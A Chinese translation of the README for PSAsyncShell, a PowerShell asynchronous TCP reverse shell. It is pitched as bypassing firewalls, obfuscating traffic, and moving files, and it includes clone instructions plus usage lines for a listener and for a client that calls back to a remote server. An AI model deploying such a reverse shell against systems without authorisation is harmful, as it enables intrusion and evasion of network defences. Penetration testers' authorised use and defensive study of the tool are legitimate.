
PSAsyncShell 是一款使用纯 PowerShell 编写的异步 TCP 反向 Shell。
与其他反向 Shell 不同,其所有通信和执行流程均为异步完成,从而能够绕过部分防火墙及针对此类远程连接的部分防御措施。
此外,该工具还具备命令历史、屏幕清除、文件上传下载、通过分块传输信息以及反向 Base64 URL 编码和混淆流量等功能。
建议克隆完整仓库或下载 zip 文件。 可通过运行以下命令完成:
git clone https://github.com/JoelGMSec/PSAsyncShell
.\PSAsyncShell.ps1 -h
____ ____ _ ____ _ _ _
| _ \/ ___| / \ ___ _ _ _ __ ___/ ___|| |__ ___| | |
| |_) \___ \ / _ \ / __| | | | '_ \ / __\___ \| '_ \ / _ \ | |
| __/ ___) / ___ \\__ \ |_| | | | | (__ ___) | | | | __/ | |
|_| |____/_/ \_\___/\__, |_| |_|\___|____/|_| |_|\___|_|_|
|___/
---------------------- by @JoelGMSec -----------------------
信息: 该工具帮助您通过异步 TCP 获取远程 Shell
以绕过防火墙
用法: .\PSAsyncShell.ps1 -s -p 监听端口
监听来自客户端的新连接
.\PSAsyncShell.ps1 -c 服务器IP 服务器端口
将客户端连接到 PSAsyncShell 服务器
警告: 所有数据将以未加密形式发送
上传功能不使用 Multipart
https://darkbyte.net/psasyncshell-bypasseando-firewalls-con-una-shell-tcp-asincrona
本项目采用 GNU 3.0 许可证 - 详细信息请参见 LICENSE 文件。
本工具由 Joel Gámez Molina // @JoelGMSec 从头设计并创建。
本软件不提供任何形式的担保。其使用仅限于教育环境和/或经客户相应同意的安全审计。本人不对其滥用或由此造成的任何损害负责。
更多信息,您可以在 Twitter 上通过 @JoelGMSec 找到我,或访问我的博客 darkbyte.net。
您可以通过请我喝咖啡来支持我的工作: